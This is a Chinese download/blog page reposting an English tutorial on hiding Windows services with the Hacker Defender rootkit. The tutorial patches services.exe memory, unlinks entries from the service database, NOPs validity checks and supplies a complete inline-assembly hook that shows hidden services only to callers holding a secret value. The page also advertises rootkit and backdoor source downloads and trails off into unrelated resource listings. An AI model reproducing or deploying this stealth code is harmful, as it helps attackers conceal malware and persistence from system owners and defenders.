hooking the service manger with hacker defender

hacker Defender 完全版 hacker Defender 客户端 服务器 bdcli100.exe 立即下载
hooking the service manger with hacker defender 
********************************
Intro

The idea of this method for hiding windows services directly from within
the service manager came to me after I coded a hidden services detector
and I realized that is was really easy to trick many user-mode rootkit...
So I started to search for infos about the service manager, and I found a
really good paper (and I found nothing else, ever) explaining very few thing,
but the article put me on the right track. So I started to reverse the service
manager and I found an interesting structure (name it the ServiceDatabase)
containing all services running on a computer. I knew that it was this
structure that I will have to patch. The first problem I had was to find
these structure with no hardcoded addresses on all NT-based OS. This problem
was really easy to solve, a simple search for a pattern of byte (one for XP
and one for win2k) did the thing. Then another problem: it is easy to remove
a services from the ServiceDatabase but what happen if we want to stop or remove
this service ? We can't control it anymore, it's just like if the service has
never existed.

I had two choices. First, make a new set of functions to mimic the service
manager do to be able to control the hidden services. But this would imply
that no standard command like net start/net stop would ever work, and that
sucks. The second possibility is to find a way to tell to the service manager
that the request for controling a hidden service is authorized. The second
sounds better.


********************************
The client-side services display:

To let the service manager know that we have the right to display the
hidden services, we will have call EnumServicesStatus with a dwServiceState
parameter to wich you will add a number (we'll call it dwNumber, heh)
We will then check, on the server-side, if the dwServiceState parameter
equal dwNumber+SERVICE_ACTIVE, dwNumber+SERVICE_INACTIVE or
dwNumber+SERVICE_STATE_ALL. If it is, we'll substract dwNumber to get
the real dwServiceState.

You may have noticed that you will need a home-made program to display the
hidden services to wich you will be able to supply the correct dwNumber


********************************
The server-side hooking:

The hooking process will be this :
1. locate all needed pieces of code, to be sure we're doing the good thing
2. change the linking order of the ServiceDatabase to hide our services
3. place hooks at some strategic points

-------
1. Locate needed information
-------

We will first need to locate some information about where we will install
our hooks, and this before doing any modification in the memory of
services.exe just to don't crash the whole thing. We will basicly search
for the ServiceDatabase and then search for the hooking points, I will
give more details in the two next sections

-------
2. Modify the ServiceDatabse
-------

The ServiceDatabase is a double-linked list that contain informations
about all services running on a computer. It is located in the memory
of services.exe (duh) and it is built at boot time based on keys
in HKLM/SYSTEM/CurrentControlSet/Services. Just after building the
database, services.exe start all service with their Startup Type set to
Automatic. This is why a rootkit can be detected even if it hide keys
from the registry; a clean copy of the HKLM/[...]/Services key exist
somewhere in the memory of services.exe :)

The ServiceDatabase is relatively easy to find, depending on the version
of services.exe. ImageVersion refers to the field of the same name in
the PE header. The search base is the 'base of code' address (usually
01001000h) plus the size of the 'import address table' (usually ~400h
bytes) wich can also be found in the PE header. Please note that I am
debugging services.exe on my XP box, and addresses and size may differ
on win2k.

If ImageVersion = 5.1 or 5.2 (WinXP, Win2k3) :
Search in the first 200h bytes for the sequence of byte 56 8B 35
(56 = PUSH ESI, 8B 35 xx xx xx xx = MOV ESI, DWORD PTR DS:[ServiceDatabase])

If ImageVersion = 5.0 (Win2k) :
Search in the first 4000h bytes for 73 45 72 76 (sErv) (will be found after
~2C00h bytes). Then search in the next 200h bytes for 8B 0D xx xx xx xx
(MOV ECX, DWORD PTR DS:[ServiceDatabase])

At this point, we are ready to patch the ServiceDatabase and remove our
hidden services. In the next example we want to hide the service B and D.
This is basicly what we will do :

* Flink = Forward link, point to the next structure
* Blink = Backwad link, point to the previous structure

-> The original service chain

ServiceDatabase pointer
| 
`-> _____ Flink _____ _____ _____ _____ _____
| svc | -----> | svc | -----> | svc | -----> | svc | -----> | svc | -----> | svc |
| A | <----- | B | <----- | C | <----- | D | <----- | E | <----- | ... |
|_____| Blink |_____| |_____| |_____| |_____| |_____|


-> We will unlink the svc B by linking the service A and C together

ServiceDatabase pointer
| .--------------. .--------------.
| | .----------. | | .----------. |
`-> _____ | | _____ | | _____ | | _____ | | _____ _____
| svc | --` | | svc | | `--> | svc | --` | | svc | | `--> | svc | -----> | svc |
| A | <---` | B | `----- | C | <---` | D | `----- | E | <----- | ... |
|_____| |_____| |_____| |_____| |_____| |_____|


-> Then we will link the service D to the service B and the service B to
the start of the list

ServiceDatabase pointer
| .--------------. .--------------.
| | .----------. | | .----------. |
`-> _____ | | _____ | | _____ | | _____ | | _____ _____
Flink | svc | --` | | svc | | `--> | svc | --` | | svc | | `--> | svc | -----> | svc |
.---> | A | <---` | B | `----- | C | <---` | D | `----- | E | <----- | ... |
| |_____| |_____| |_____| |_____| |_____| |_____|
| | ^ | ^ |
| | | `-------------------------` |
`----------------------` `-----------------------------`


This new linking is the whole thing in the hooking process. If this is
done correctly, at least the services are hidden from any request for
enumerating services and for opening a services with OpenService().
Then what if we want to display these hidden services ? We will simply
put a hook at a strategic point (see the next section) and if the program
trying to enumerate the services is authorized to do so, we won't start the
enumeration from the service pointed by ServiceDatabase, but (in the example)
from the service D in our case. **NOTE** that there is no Backward link from
the service B to the servide A, in order to don't be able to see the hidden
services by listing the list in the reverse order...

-------
3. Hooking the code
-------

We'll start by searching for the sequence of bytes C0 FE FF FF in the first 6000h bytes
the lines on wich we will end up will look like this:

TEST DWORD PTR SS:[EBP+C],FFFFFEC0
JNZ SHORT error_87
TEST BYTE PTR SS:[EBP+10],3 <------- check for the validity of dwServiceState
JE SHORT error_87 <------- we will backup the address pointed by this jump
TEST DWORD PTR SS:[EBP+10],FFFFFFFC for our own usage in our hooked function
JNZ SHORT error_87

To don't get trashed when we will supply our invalid dwServiceState, we
will NOP the four last lines and check the validity by ourself later with
our hooked function. To find where we'll place this hook, we'll search
in the next 100 bytes for 85 C0 wich correspond to :

LEA EAX,DWORD PTR SS:[EBP+8]
PUSH EAX
PUSH DWORD PTR SS:[EBP-C]
CALL GetEntryPointerFromIndex <------ here we hook !
TEST EAX,EAX <------ 85 C0
JE not_found

then you just have to replace the GetEntryPointerFromIndex CALL for
our own home-made function. What is the original function doing ? It
find where to start the copying process from the memory of services.exe
to the user-supplied buffer, according to the ResumeHandle parameter
passed to EnumServicesStatus. What will the replacement function do ?
Lets see :

First we'll have to check if the dwServiceState come from a 'typical' call
to EnumServicesStatus. If it is, (will be between 1 and 3; see declaration
of SERVICE_[ACTIVE/INACTIVE/STATE_ALL]) we will mimic the original
GetEntryPointerFromIndex function and do nothing more. If the dwServiceState
parameter is equal to dwNumber + 1, + 2 or + 3 then we'll know that it's a
request for showing hidden services, and we'll start to do the job of
GetEntryPointerFromIndex but we'll do it from the base of our hidden services
list. If dwServiceState does not correspond to any of these two case, we'll
return the error 87 (remember the dwServiceState validity check we've nopped)

okey then we have a plan of action, have a look at the hooking code I made.

the original function definition looks like this :
BOOL GetEntryPointerFromIndex (int index, LPDWORD entry);

When we will have our function called instead of the original one, the stack
will look like this :

ebp+10h = the dwServiceState parameter passed to EnumServicesStatus
esp+8h = the ResumeHandle parameter passed to EnumServicesStatus
wich is actually the index in the ServiceDatabase table
esp+Ch = the buffer in wich we will copy the address of the correct entry

First of all we'll backup the address of ebp+10h to be able to replace
the dwServiceState if the need is. Then we'll check if the dwServiceState
is invalid or not, and choose what we must do.

Below is a fully working function, I think it can be better but it do the job
See the code sample and you will understand everything ;)

//the CALL we replace must point 16 bytes after the real function address
//before copying the function inside services.exe, you must fill the four
//dword that the function need to work:
//dwNumber = the same number that you will provide to EnumServicesStatus
// to display the hidden services
//dwHiddenStart = the address of the first service in the hidden service chain
//dwSvDb = address of ServiceDatabase
//dwError87 = the absolute address of the jump we nopped (see above)

BOOL __declspec(naked) NewGetEntryPointerFromIndex(int index, LPDWORD entry) {
__asm {
dwNumber:
_emit 0 //;room for a copy of dwNumber
_emit 0
_emit 0
_emit 0
dwHiddenStart:
_emit 0 //;room for the address of the hidden services chain
_emit 0
_emit 0
_emit 0
dwSvDb:
_emit 0 //;room for a copy of the ServiceDatabase
_emit 0
_emit 0
_emit 0
dwError87:
_emit 0 //;room for the address of the error 87 code
_emit 0
_emit 0
_emit 0

call start
start:
pop edx //; pop the address of where we are
sub edx, 16+5
pop esi //; pop the ret address
lea eax, [ebp+010h] //; copy the address of the dwServiceState parameter
push ebp
mov ebp, esp
sub esp, 008h

/*
-008 DWROD ret address
-004 LPDWORD dwServiceState
+004 int index
+008 LPDWORD entry
*/

mov [ebp-004h], eax
mov [ebp-008h], esi

//; check if we got all we need
cmp dword ptr [edx], 0 //;dwNumber
jz display_normal
cmp dword ptr [edx+4], 0 //;dwHiddenStart
jz display_normal
cmp dword ptr [edx+8], 0 //;dwSvDb
jz bad_ret
cmp dword ptr [edx+12], 0 //;dwError87
jz bad_ret

//; check the dwServiceState
mov esi, [ebp-004h]
mov esi, [esi]

//; is it a request for hidden svc ?
mov eax, dword ptr [edx] //;dwNumber
lea eax, [eax+1]
cmp esi, eax
jz display_hidden
mov eax, dword ptr [edx] //;dwNumber
lea eax, [eax+2]
cmp esi, eax
jz display_hidden
mov eax, dword ptr [edx] //;dwNumber
lea eax, [eax+3]
cmp esi, eax
jz display_hidden

//; is it an invalid request ?
mov esi, [ebp-004h]
test byte ptr [esi],3
je go_original_err87
test dword ptr [esi], 0FFFFFFFCh
jnz go_original_err87

//; heh, just another normal request I guess
jmp display_normal 


//; process the request
display_hidden:
mov esi, [ebp-004h]
mov eax, dword ptr [edx] //;dwNumber
sub [esi], eax //;substract dwNumber to dwServiceState
lea eax, dword ptr [edx+4] //;dwHiddenStart
jmp display_tail

display_normal:
mov eax, dword ptr [edx+8] //;dwSvDb
//mov eax, [eax]
//jmp display_tail

display_tail:
mov eax, [eax]

loop_next_svc_entry:
test eax, eax
jz short bad_ret //; got the end of the chain ?
mov ecx, [eax+010h] //; index field
cmp ecx, [ebp+004h] //; needed index
ja short got_ptr
mov eax, [eax+004h] //; take the next entry
jmp short loop_next_svc_entry

got_ptr:
mov ecx, [ebp+008h]
mov [ecx], eax

good_ret:
mov eax, 001h
jmp go_ret

bad_ret:
xor eax, eax

go_ret:
mov esi, [ebp-008h]
leave
add esp, 008h //;ret 008
jmp esi

go_original_err87:
leave //;free the stack
mov eax, dword ptr [edx+12] //;dwError87
add esp, 008h //;ret 008
jmp eax

}
}
}

// EOF


I think I said everything, now you can look at the sources I included :)
hacker defender远程控制源代码 内核级后门软件,用户可以通过本软件隐藏文件、进程、系统服务、系统驱动、注册表键的键和键值、打开的端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐身地控制被隐藏进程。程序安装隐藏后门,注册隐藏系统服务并且安装系统驱动。该后门技术允许植入Redirector。鉴于参数过多,不推荐新手使用。 立即下载

相关推荐

Hacker Defender ROOKIT木马检测工具源码

Hacker Defender ROOKIT木马检测工具源码

Hacker defender中文使用说明

Hack defender是一款强大的Windows NT系统下的Rootkit程序,可隐藏文件、进程、服务、驱动、注册表键和值以及端口,并能够伪造磁盘剩余空间,通过hook使任意端口成为后门。这是我自己翻译的该程序的使用说明。

若水斋 3541

Hacker+Defender(源码)

Hacker+Defender

Hacker defender - 中文使用说明

======================[ Hacker defender -  中文使用说明  ]======================                                 NT Rootkit                                  ---------- Authors:        Holy_Father          

3680

基于MATLAB的太阳能光伏电力仿真,模拟每日太阳能发电,可视化功率曲线,并通过数值积分计算总能量输出。.zip

1.版本:matlab2014a/2019b/2024b 2.附赠案例数据可直接运行。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。

人脸识别签到考勤系统实战源码

这是一套可直接运行的人脸识别智能签到考勤系统,基于OpenCV YuNet人脸检测与SFace特征识别实现,全程本机运行,数据保存在本地SQLite,不上传任何服务器。配套交付完整Python源码、9章实战教程(md/html/pdf三种格式)、逐步骤操作截图和答辩PPT讲解。 系统围绕五个功能模块展开:人脸注册支持照片批量导入并提取特征入库;识别签到支持照片或摄像头两种方式,实时框出人脸并标注姓名、相似度与考勤状态;考勤规则引擎按config.py里配置的上下班时间与宽限分钟,自动判定迟到、早退、缺勤;Tkinter管理面板完成人员管理、流水查询与月度汇总;最后通过openpyxl一键导出整月考勤矩阵,正常绿、迟到黄、缺勤红,Excel打开即用。 选型上特意选了YuNet+SFace路线:纯pip安装免编译,CPU单帧识别不到100ms,两个ONNX模型共约37MB,出自OpenCV官方模型仓库,毕设报告引用有据可查。教程第7章整理了16条Windows下真实踩过的报错及排查方法,第8章给出换模型、换人脸、加功能的二次开发路径。 适合做计算机视觉方向毕设或课程设计的学生,也适合想给班级、实验室、小团队搭一套本地签到工具的Python学习者。运行环境为Python 3.9以上、Windows 10/11,不需要GPU。 使用时先pip install -r requirements.txt装齐依赖,再运行download_data.py下载模型,最后启动main.py即可进入图形界面;命令行register、recognize、report子命令也可脱离界面单独调用。

设置ODBC的自定义类CSetODBC

何志丹一,功能描述用于配置数据源用户名及密码.1,可以得到连接串,此串可用于CMyRecordset(派生于CRecordset)的GetDefaultConnect(),也可以用干CDataBase类OpenEx.2,如果用户配置正确,只需要配置一次,相关信息记录在文件.3,可以指定存储信息的文件名.因为有可能几个程序共用一个数据源.4,用户可以重新配置数据5,可以得到当前数据的类型.6

闻缺陷则喜何志丹 3116

【无人机航测】MATLAB重叠率与地面分辨率协同设计:航线间距及飞行方向优化系统 MATLAB 无人机航测重叠率设计|地面分辨率与航线间距计算

内容概要:本文档介绍了基于MATLAB R2025b开发的无人机航测重叠率与航线间距计算系统,旨在通过建立统一的航测几何计算体系,实现重叠率、地面分辨率与航线间距的动态协同设计。系统结合相机参数、飞行参数、地形数据与风场信息,通过自动化候选航向搜索与多目标优化,选择兼顾覆盖质量、飞行效率与安全性的最优航线方向。项目涵盖从参数输入、摄影测量计算、地形与安全修正,到候选路线生成、综合评价与结果可视化的全流程,并构建了五万组模拟数据用于算法验证与模型训练,支持桌面交互、批量处理与服务化部署,适用于多种复杂场景下的无人机航测任务规划。 适合人群:具备一定MATLAB编程基础和摄影测量知识的科研人员、工程技术人员及高校师生,尤其适合从事无人机航测、地理信息系统(GIS)、遥感与测绘等相关领域的从业者。 使用场景及目标:① 实现无人机航测任务中地面分辨率与航线间距的精确计算与动态优化;② 解决复杂地形与风场环境下航线方向选择困难、覆盖质量难以保障的问题;③ 通过自动化设计减少人为经验依赖,提升航测任务的可靠性与效率;④ 为后续的三维建模、正射影像生成与灾害应急评估等应用提供高质量的数据基础。 阅读建议:建议读者结合文中提供的完整代码示例与GUI界面设计,逐步实践参数配置、模型计算与结果分析流程。重点关注摄影测量公式推导、地形修正策略与多目标优化算法的实现细节,并利用模拟数据进行敏感性分析与模型验证,以深入理解系统的设计理念与工程应用价值。

交错并联图腾柱PFC变换器仿真设计(Simulink仿真实现)

内容概要:本文档系统性地介绍了基于Simulink平台的“交错并联图腾柱PFC变换器”仿真设计,聚焦于高效率功率因数校正技术的建模与实现。内容涵盖双闭环控制策略(电压外环与电流内环)、PI控制器设计、交错并联结构优化以及图腾柱拓扑的工作原理,旨在提升系统动态响应性能、降低输入电流谐波含量并改善功率因数。文档不仅提供详细的仿真模型构建流程,还配套Mathcad计算书用于参数设计与功率等级扩展,并列举了多种相关电力电子变换器的仿真案例,如三相维也纳整流器、LLC谐振变换器、双向Buck-Boost电路等,形成了一套完整的电力电子系统仿真资源体系,适用于从理论分析到工程实践的全流程学习与研究。; 适合人群:电气工程、自动化、电力电子及相关专业的高校本科生、研究生,以及从事新能源发电、电源设计、电能质量治理、工业自动化等领域的研发工程师;具备基本电路理论知识和Simulink/Matlab使用经验者更佳。; 使用场景及目标:①支持高校课程设计、毕业设计或科研项目中对先进PFC拓扑的仿真验证与性能优化;②帮助工程技术人员快速掌握图腾柱PFC的核心控制逻辑与建模方法,缩短产品开发周期;③作为电力电子系统教学与技术培训的标准化参考案例,强化理论与实践结合能力。; 其他说明:文档由“荔枝科研社”整理发布,所有资源可通过指定公众号或百度网盘链接获取,建议按照目录顺序系统学习,并结合提供的Mathcad计算书、参考文献及仿真文件进行参数验证与二次开发,以深化理解与应用能力。

【电力负荷预测】项目介绍 MATLAB实现基于BO-Transformer-LSTM贝叶斯优化算法(BO)优化Transformer-LSTM组合模型进行居民用户多步电力负荷预测(含模型描述及部分示例

内容概要:本文介绍了一个基于BO-Transformer-LSTM的组合模型,用于实现居民用户多步电力负荷预测的完整项目实例。该模型融合Transformer的全局注意力机制与LSTM的局部时序记忆能力,构建能够捕捉长时依赖与周期性特征的深度学习架构,并引入贝叶斯优化(BO)自动搜索最优超参数组合,提升预测精度与训练效率。项目涵盖从原始数据清洗、特征工程、滑动窗口样本构建、模型设计到超参数优化、反归一化及多步误差评估的全流程,强调时间顺序划分以防止信息泄露,并通过周期编码、外生变量融合等方式增强数据表达能力。文中提供了详细的MATLAB代码示例,包括数据预处理、网络搭建、贝叶斯优化配置和预测结果评估等关键步骤。 适合人群:具备一定机器学习和时间序列分析基础,熟悉MATLAB编程环境,从事电力系统预测、智能电网、负荷管理等相关领域的研究人员、工程师及研究生。 使用场景及目标:①应用于居民级或多用户聚合负荷的短期至中期多步预测(如未来24小时);②服务于配电系统运行调度、需求响应基线设定、家庭能源管理系统优化、分布式能源协调控制等实际工程场景;③为科研提供可复现的深度学习+贝叶斯优化的技术路线参考。 阅读建议:此资源以实际项目为导向,建议读者结合提供的代码逐步实现并调试模型,重点关注数据质量控制、时间特征编码、组合网络结构设计与贝叶斯优化稳定性之间的协同关系,在实践中深入理解多步预测中的误差累积机制与超参数敏感性问题。

国央企创新负责人如何通过平台实现科研成果的快速识别与转化?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

超全Mathcad全桥LLC谐振变换器开关电源设计mathcad计算书

内容概要:本文介绍了“Plecs全桥LLC谐振变换器仿真模型”这一技术资源,该模型基于Plecs仿真平台构建,完整实现了全桥LLC谐振变换器的电路拓扑与控制系统,用于深入研究其在变频与移相混合控制策略下的动态行为。模型涵盖了软开关实现机制、谐振腔参数设计、功率传输特性、效率优化以及闭环控制策略等核心内容,支持对启动过程、负载突变、频率调节等工况的仿真分析,有助于全面掌握LLC变换器在高效率、高功率密度电源系统中的工作原理与设计方法。; 适合人群:具备电力电子技术基础、熟悉开关电源设计原理的研究生、硬件工程师及从事高频电源产品研发的技术人员。; 使用场景及目标:①用于高校教学与科研中对LLC谐振变换器运行机理的深入理解与验证;②辅助工程师在实际产品开发中进行关键参数设计、性能预测与优化;③支持对变频控制、软启动过程、零电压开关(ZVS)实现条件、负载调整率及系统稳定性等关键指标的仿真分析与验证。; 阅读建议:建议使用者具备Plecs或类似电力电子仿真软件的操作经验,结合经典电力电子教材与LLC设计指南进行学习,通过调整谐振元件参数、开关频率与负载条件,观察系统响应变化,以深化对谐振变换器非线性动态特性的理解,并建议将仿真结果与理论计算对照分析,提升工程设计能力。

PotPlayer自用皮肤

自用 PotPlayer 皮肤,仅微调了字体大小与颜色,是按个人习惯调整,未做适配性调整。

game.c.docx

game.c.docx

2-shell及常用命令-续.pdf

2-shell及常用命令-续.pdf

【顶级EI复现】基于KKT条件与分段解析优化的双有源桥DC-DC变换器软开关协同最小应力闭环控制方法(Simulink仿真实现)

内容概要:本文详细介绍了一种基于KKT(Karush-Kuhn-Tucker)最优性条件与分段解析优化技术的双有源桥(DAB)DC-DC变换器闭环控制方法,旨在实现软开关条件下器件电压和电流应力的协同最小化,从而提升变换器的转换效率与系统可靠性。该方法通过建立精确的数学模型,结合KKT条件进行优化求解,并采用分段解析策略提高实时控制性能,在Simulink环境中完成了完整的闭环控制系统建模与仿真验证。作为“顶级EI复现”级别的研究成果,内容涵盖控制算法设计、优化机制分析、仿真架构搭建及结果对比,具有较强的理论深度与工程应用价值,适用于电力电子高频化、高效化发展的前沿研究方向。; 适合人群:面向具备电力电子、自动控制或电气工程等相关专业背景,熟悉Simulink仿真平台,且从事科研工作1年以上的研究生、博士生及科研人员;特别适合致力于DC-DC变换器拓扑优化、软开关技术、最小化开关应力控制、能量高效传输等领域研究的专业人士。; 使用场景及目标:① 复现高水平EI期刊论文中的先进优化控制算法;② 掌握KKT条件在非线性约束优化问题中的具体应用;③ 深入理解DAB变换器在不同工况下的软开关实现机制与应力抑制策略;④ 构建高精度仿真模型以支撑学术论文撰写、科研项目申报或实际工程系统的控制方案设计。; 阅读建议:建议结合提供的Simulink仿真模型同步学习,重点关注KKT条件推导过程与分段解析优化模块的实现逻辑。由于内容涉及较强的数学建模与优化理论,推荐具备扎实的电路理论、现代控制理论及数值优化基础后再行研读,并可参考同系列“顶级EI复现”资源以构建系统性知识体系。

上一篇: 换运行中的文件(深入浅出)
下一篇: 解析江民杀毒软件反病毒核心技术
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值